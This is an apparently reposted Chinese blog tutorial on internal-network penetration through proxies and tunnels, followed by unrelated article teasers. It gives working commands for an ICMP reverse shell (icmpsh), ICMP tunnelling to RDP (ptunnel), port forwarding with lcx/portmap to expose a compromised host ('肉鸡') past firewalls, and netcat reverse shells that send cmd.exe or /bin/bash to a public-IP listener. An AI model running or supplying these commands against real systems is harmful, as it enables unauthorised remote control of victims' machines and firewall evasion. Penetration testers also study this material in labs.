我的内网渗透-代理转发(1)

news2024/10/7 6:46:57

 概念

网关
        必须经过
            用来进行路由转发的设备,网关的作用是让不同网段之间能够通信

代理
        委托访问
            无论代理后面挂了几台设备,都认为是从代理进行访问,对外只表现为代理一台。外部认为是与代理进行交互 

隧道
        网络虫洞
            隧道是一个网络的虚拟路径,使得入口的数据能够穿越到隧道的出口进行通信

代理与NAT的区别

Ⅰ 从应用上讲, NAT 设备是网络基础设备之一, 解决的是IP不足的问题,代理服务器则是更贴近具体应用,比如: 通过代理服务器进行”翻墙”, 另外像迅游这样的加速器, 也是使用代理服务器实现的 
					
Ⅱ 从底层实现上讲, NAT 是工作在网络层的, 直接对IP地址进行替换
代理服务器往往工作在应用层
					
Ⅲ 使用范围上讲, NAT 一般在局域网的出口部署
代理服务器可以在局域网做, 也可以在广域网做, 也可以跨网
					
Ⅳ从部署位置上看, NAT 一般集成在防火墙, 路由器等硬件设备上

代理服务器则是一个软件程序, 需要部署在服务器上
					
Ⅴ 从功能上讲,proxy=代理商,先要看你买啥,清楚了后再帮你买,可能直接从库房中提货,也可能去其它地方调货,也有可能不代理你要买的货。Proxy针对每一种应用设置代理服务器,或者安装一个客户端软件,设置相对复杂一些.并且并不一定支持所有的应用,如VPN客户端登录很多Proxy就无法代理应用. 
					
nat=货运码头,管你是啥货,只管发就是了,NAT设置简单,无需客户端软件

 

icmpsh

安装

下载地址

https://github.com/bdamele/icmpsh

环境安装

#之前安装过pip2的话直接安装这个就可以 省去其他步骤

pip2 install impacket -i https://pypi.tuna.tsinghua.edu.cn/simple --trusted-host pypi.tuna.tsinghua.edu.cn/simple
#安装需要的python库文件   




#没安装过的pip2的情况
把可执行程序放到/usr/bin/目录下, 可以快速启用(可以重命名)
需要在同网段下去做, 如果端口受到限制, 那我们就可以用ICMPSH这款工具去反弹shell
前提: ping未被禁用
依赖环境: python-impacket(python2版本的) 
pip install --upgrade pip 
pip install --upgrade setuptools
pip2 install impacket -i https://pypi.tuna.tsinghua.edu.cn/simple --trusted-host pypi.tuna.tsinghua.edu.cn/simple   

参数

-h 帮助
	
-t target --> 目标IP地址
	
-d delay 500 --> 延迟的毫秒数
	
-s bytes  128 --> 缓冲区的大小
	
-b max blank 30 --> 最大的空白数(未应答的ICMP请求最大数量)

使用方法

1. 现在kali设置ping代替应答 (必做)

sysctl -w net.ipv4.icmp_echo_ignore_all=1 
#sysctl:动态地修改内核的运行参数

2. 开启监听

python2 icmpsh_m.py s_ip d_ip (在kali上)
#icmpsh_m.py 192.168.0.105 192.168.0.102
#得用python2,不然会报错

3. 反弹shell

icmpsh.exe -t kali地址 -d 500 -s 128 -b 30 (在靶机上)
#icmpsh.exe -t 192.168.0.105 -d 500 -s 128 -b 30
#直接加上-t就可以运行,其他参数可要可不要

4.做完之后改回代替应答, 不然会出现ping不通其他主机的情况

sysctl -w net.ipv4.icmp_echo_ignore_all=0

ptunnel

环境准备
		kali、跳板机Ubuntu、win7 ---kali内置有Ptunnel
		Uubuntu: Ptunnel文件赋予权限即可
		Ubuntu:两张网卡、一张nat、一张仅主机,win7:仅主机,kali:NAT模式
		vm: vmnet0(桥接, 连通物理网段, 与物理机处于同一网段), vmnet1(仅主机模式, 只能ping通同一网段的机器) , vmnet8(nat)

		

		

参数

-p: 同网段远程服务器的ip地址(跳板ip)
		
-lp: 本地监听的端口(本地监听的端口)
		
-da: 目标的ip
		
-dp: 目标的端口
		
-x: 添加密码
		
-v: 显示详细的参数信息

操作

kali:ptunnel -x 12345 -p 192.168.21.132 -lp 6666 -da 192.168.48.138 -dp 3389
		
跳板机: ptunnel -x 12345
		
访问目标机: rdesktop 127.0.0.1:6666

报错

得把这个身份验证取消掉,不然会报错

报错信息:Failed to initialize NLA, do you have correct Kerberos TGT initialized ?
Failed to connect, CredSSP required by server (check if server has disabled old TLS versions, if yes use -V option).

 LCX

环境准备

        KALI、跳板机、win7

参数

-listen 本地监听的端口(51)  要转发的端口(3389)
		
-slave 连接ip(跳板机ip) 连接的端口(51) 要传输的ip(127.0.0.1) 要转发的端口(3389)
		
-tran 用于做多层跳板的

使用方法 

跳板机

#Windows: 
lcx.exe -listen 1234 4321  
			
#Linux:
cd /home/kali/Desktop/lcx_vuln.cn_/lcx_vuln.cn 
#进入到lcx文件夹

#kali
./portmap -m 2 -p1 1234 -p2 4321
#开始监听1234传来的数据,然后监听4321端口提供访问

#windows
lcx -listen 3333 2222

内网主机 

lcx.exe -slave 192.168.150.129(跳板机地址) 1234 127.0.0.1 3389/80/21
			
lcx.exe -slave 跳板机地址 跳板机的第一个端口 127.0.0.1 需要转发的本机端口
#将本机的3389端口转发给192.168.150.129的1234端口

访问 

mstsc 跳板机ip:4321
		
rdesktop 跳板机ip:4321
		
浏览器->跳板机:4321

 绕过防火墙思路

lcx -tran 53 肉鸡ip 3389
#由于3389可能被防火墙限制,可以换成其他端口

让任意主机可以通过连接公网连接靶机的内网

./portmap -m 2 -p1 6666 -h2 公网主机ip -p2 8888
#监听来自6666端口的请求,将其转发到8888端口

./portmap -m 3 -h1 127.0.0.1 -p1 22 -h2 123.56.167.72 -p2 6666
#将内网主机22端口的流量转发到公网主机的6666端口上
#这一步报错的话可能就是自己的ssh服务没打开。我的kali服务是没有打开的,所以被连接的时候就会报错。也有可能是没有安装这个ssh-server

ssh 用户名@公网ip -p 8888
#在任意主机使用ssh连接8888端口,就可以连接到内网主机

NC

常用参数

-c | -e: 执行命令或者程序,常用于反弹shell
		 
-l:使用监听模式
		 
-p:设定端口
		 
-z:使用0输入输出,常用于端口开放检测,(连上立即断开)
		 
-v -vv:  显示执行过程详细信息   /   更详细的信息
		 
-n:仅显示数字的ip地址,不显示DNS信息

环境准备

        Kali,跳板机(windosw7)、客户端 

使用方法 

服务端

nc -lvvp 4321

跳板机

要windows,如果使用linux可能会出现问题。靶机和跳板机的类型要求要一样的

nc -v 192.168.200.129 4321 -e "C:\Users\hackbiao\Desktop\netcat-win32-1.12\nc.exe -v 192.168.150.131 4444"
#端口一定要跟上 不然会报错

 客户端

客户端 Linux- >    ./nc -lvvp 5555 -e /bin/bash
			
客户端  Windows->   nc.exe -lvvp 4444 -e cmd  

注意

        因为这里有一个中间代理进行转发,所以获取会话的速度较慢。连接成功之后dir什么的都没有反应,可以先查看systeminfo,这样字命令行就恢复了正常。

使用公网监听内网主机

反向连接

在公网主机开启监听

nc -lvvp 4444

再内网主机执行

nc -t -e cmd.exe 公网ip 4444
#加不加-t参数都是可以的
#-e后面跟上的是要弹出去命令,跟上powershell也是可以的

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/679763.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

计算机提示xinput1_3.dll丢失,三个详细修复方法

打开《绝地求生》游戏的时候,计算机提示xinput1_3.dll丢失,无法启动运行。重新安装一遍游戏依然无法启动运行。这个是由于xinput1_3.dll文件是属于电脑系统DirectX9.0的一个组件,用于提供输入和输出功能。它包含了各种接口和函数,…

spi控制器和spi设备的加载过程

spi控制器都是挂在platform总线上的,所以要等platform总线上的设备驱动加载spi控制器完成后才能加载spi设备。 1.spi控制器加载 由spi控制器驱动程序调用spi_register_master来完成spi控制器驱动加载 int spi_register_master(struct spi_master *master) { ... s…

【ubuntu20.04上构建qemu启动linux kernel】

参考Ubuntu环境下使用qemu搭建arm64运行环境 - 简书 一、交叉编译工具 sudo apt install gcc-aarch64-linux-gnu aarch64-linux-gnu-gcc -v 二、linux内核编译 git clone https://github.com/torvalds/linux.git cp arch/arm64/configs/virt.config .config make ARCHarm64 m…

并网逆变器杂记1-VO-DCC双环控制

NOTE1: 母线电压恒定的条件是: PV输出功率 ,等于逆变侧消耗功率 假设:PV侧给母线输入10A ,但是逆变侧消耗1A,此时母线Udc会升高 反之PV输入1A,消耗10A,母线Udc会降低。 NOTE2&#…

【IP地址】使用这个免费工具轻松获取地理位置

文章目录 前言一、Ip-API二、使用示例2.1、语言2.2、数据格式 三、简单示例四、更好的服务五、需要注意的点结尾 前言 今天分享一个免费的在线工具来查询IP地址所在的地理位置。可以通过IP地址所属的网络运营商和其他相关信息来确定设备的位置,包括国家、地区、城市…

CentOs中操作用户命令(添加或删除)

1、不添加任何参数,创建 zhangsan 用户 不加参数时,创建用户默认创建一个用户目录以及用户和组同名,且UID和GID相同 useradd zhangsan 用 id和 ll 命令查看一下,是否成功创建用户目录以及用户和用户组 id ll uid1003( zhangsan) gid1003( zhangsan) 组1003( zhangsan) 2…

Obsidian 与 Typora 图片兼容保存路径一致设置

目录 一、问题二、解决方法 Obsidian官网 : https://obsidian.md/ Your thoughts are yours. 你的想法就是你的。 Obsidian stores notes on your device, so you can access them quickly, even offline. No one else can read them, not even us. 黑曜石将笔记存储…

Java——基础语法

文章目录 1. 变量:变量的声明和初始化变量的作用域变量的命名规则常量 2. 运算符:算术运算符关系运算符逻辑运算符位运算符其他运算符 3. 流程控制:分支结构循环结构跳转控制 4. 类与对象:类的概念对象的概念类的成员构造方法和析…

深入理解深度学习——BERT派生模型:T5(Text to Text Transfer Transformer)

分类目录:《深入理解深度学习》总目录 T5的全称为Text to Text Transfer Transformer,是谷歌提出的预训练语言模型领域的通用模型,该模型将所有自然语言问题都转化成文本到文本的形式,并用一个统一的模型解决。为了得到大一统的高…

Tkinter创建列表使用方法

前言 ttk.Treeview 是 Tkinter 模块中的一个组件,它提供了一个可用于显示层次结构数据的树状列表。它具有以下特点和功能: 显示层次结构:ttk.Treeview支持以树状结构显示数据。每个节点可以有子节点,从而形成层次结构。用户可以展…

GPT-2源码实现及GPT-3、GPT-3.5、GPT-4及GPT-5内幕解析(三)

GPT-2源码实现及GPT-3、GPT-3.5、GPT-4及GPT-5内幕解析(三) 5.3 GPT-3 内幕机制可视化解析 GPT-3是一个基于Transformer的语言模型,通过不同的层次提取语言不同层面的特性,构建整个语言的语义信息,它学习的过程跟人类正常学习的过程是类似的,开始的时候是一个无监督预训练…

材料表面与界面 关键概念介绍

目录 1. Conductivity and two general modes of charge transport in solid-state materials (Fig. 1b) 2. What is Bravais lattice, what is basis and what is crystal lattice (Fig. 2). The differences between five possible Bravais lattices in two dimensions (Fi…

【计算机毕设系统项目说明】VB+ACCESS采购管理系统开发(论文+系统+答辩PPT+封面)

大家好,这里是小伙整理的VB项目系列,大家可以用于自己的课设Q或毕设,需要的可自取。 项目包含内容 项目包含: 项目源码 论文 答辩PPT 其他相关 截图: 库存管理软件说明 一.系统设置 1) 锁定&#xff1…

2023考研一战上岸 电子科技大学 860软件工程 经验分享

目录 1. 前言:考研,心态最重要! 2. 初试各科复习经验 (1) 数学一 (2) 英语一 (3) 专业课 (4) 政治 (5) 四门课时间划分 3. 复试流程和备考建议 (1) 复试流程 (2) 备考建议 4. 结语 首先,先简要做一个自我介绍&#xff…

记录:Qt Creator 10配置安卓开发环境

Qt Creator 现在的安卓开发环境配置相比老版本方便了不少,本文以目前在线安装版的 Qt Creator 10.0.2 Qt 5.15 / Qt 6.5 为例做演示(有些文件可能会因为网络问题需要科学上网才能下载)。 1.下载 JDK 11 https://adoptium.net/zh-CN/temuri…

MATLAB 之 对话框设计

这里写目录标题 一、对话框设计1. 控件的种类及作用2. 控件的操作2.1 建立控件对象2.2 控件对象的基本控制属性2.3 建立控件对象举例 一、对话框设计 对话框是用户与计算机进行信息交流的临时窗口,在现代软件中有着广泛的应用。在软件设计时,借助于对话…

分治、贪心专题

分治、贪心专题 分治篇LeetCode 241. 为运算表达式设计优先级解题思路代码实现总结 不要纠结,干就完事了,熟练度很重要!!!多练习,多总结!!! 分治篇 LeetCode 241. 为运算…

夏驰和徐策的大学英语四六级备考

一、今日单词: 1.anxiety 中文意思是"焦虑"或"忧虑"。它通常用来描述一种内心的不安、紧张或担忧感。"anxiety"可以指个人的情绪状态,也可以指一种心理疾病或临床诊断。 以下是一些关于"anxiety"的用法和例…

3DMAX样条线轮廓修改器插件SplineOffset使用方法详解

SplineOffset 是 3dMax 的修改器,可创建样条曲线的多个克隆,并可选择增量增加或减少偏移、平移和旋转。在许多方面,它类似于 3ds Max 的内置阵列工具与样条线偏移功能相结合,但有两个主要优点:首先,SplineO…

Spring Framework 6 中的设计模式

文章目录 1、简介2、单例模式(Singleton Pattern)2.1 单例 Beans(Singleton Beans)2.2 自动注入单例(Autowired Singletons) 3、工厂方法模式(Factory Method Pattern)3.1 应用上下文…